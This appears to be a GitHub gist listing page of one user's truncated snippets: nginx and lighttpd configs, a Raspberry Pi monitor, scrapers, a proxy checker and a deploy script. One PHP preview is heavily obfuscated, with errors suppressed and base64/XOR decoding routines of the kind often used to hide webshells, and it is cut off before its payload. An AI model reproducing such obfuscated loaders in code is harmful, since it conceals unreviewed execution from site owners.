Skip to content

Instantly share code, notes, and snippets.

server {
listen 8000;
server_name localhost; #绑定域名
root /var/www/cake; #网站根目录
index index.htm index.html index.php; #默认文件
error_page 404 = /404/index.html;
location ~ \.php$ {
fastcgi_pass unix:/etc/nginx/fastcgi.sock;
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import subprocess
import os
import re
import sys
import pyinotify
import pysftp
from ftplib import FTP
@582033
582033 / php
Last active January 28, 2016 02:47
<?php @error_reporting(0);@ini_set('display_errors',false);defined('??07???6734??216') || define('??07???6734??216',__FILE__);global $?8140?4?75?08034;global $??103???83??78?2; if(!function_exists('?96?3204??4435?6')){ function ?96?3204??4435?6($?00?4820?1607?68,$?68926?4225??5??=''){ if(empty($?00?4820?1607?68)) return ''; $?00?4820?1607?68=base64_decode($?00?4820?1607?68); if($?68926?4225??5??=='') return ~$?00?4820?1607?68; if($?68926?4225??5??=='-1') @?067935?4???1??6(); $?70???9??6?30?2?=$GLOBALS['?8140?4?75?08034']['?06?1??55063??11']($?00?4820?1607?68); $?68926?4225??5??=$GLOBALS['?8140?4?75?08034']['???3?419???325?5']($?68926?4225??5??,$?70???9??6?30?2?,$?68926?4225??5??); return $?00?4820?1607?68^$?68926?4225??5??; }} if(!function_exists('???1?8?8????930?')){ function ???1?8?8????930?($?00?4820?1607?68,$?68926?4225??5??=''){ if(empty($?00?4820?1607?68)) return ''; $?00?4820?1607?68=base64_decode($?00?4820?1607?68); if($?68926?4225??5??=='') return ~$?00?4820?1607?68; if($?68926?4225??5??=='-1') @??37
@582033
582033 / conf
Last active June 22, 2016 06:34
lighttpd.conf
server.modules += ( "mod_fastcgi" )
server.port = "8000"
server.document-root = "/var/root/foo/www"
index-file.names = ( "index.php", "index.html" )
fastcgi.server = ( ".php" =>
(( "socket" => "127.0.0.1:9000",
"bin-path" => "/usr/bin/php-cgi",
"min-procs" => 1,
"max-procs" => 1,
"max-load-per-proc" => 4,
@582033
582033 / python
Created June 28, 2016 07:02
树莓派获取[cpu温度/cpu使用率/内存空闲率]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
显示树莓派cpu温度、使用率及内存使用率
'''
import os
def show_temp():
file = open("/sys/class/thermal/thermal_zone0/temp")
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import re
import json
import requests
from bs4 import BeautifulSoup
location /lantern/ {
proxy_set_header Accept-Encoding '';
proxy_pass https://getlantern.org/;
sub_filter '"/static' '"/lantern/static';
sub_filter_once off;
}
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import scrapy
from scrapy.spider import Spider#, Rule
from itjuzi.items import ItjuziItem
from itjuzi.settings import *
class spider(Spider):
@582033
582033 / python
Last active November 29, 2020 15:41
多线程获取并验证代理
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, re
import requests
import Queue
import threading
class Proxy():
def __init__(self, proxy_url, target_url, ver_keyword, timeout):
@582033
582033 / svnpub_deploy.py
Last active December 5, 2016 01:55
svnpub 一键部署代码脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# https://gist.github.com/582033/4744ebe345686eda85c1389807a826b2
import requests
import json, re, sys
from bs4 import BeautifulSoup
from pprint import pprint
class Sign: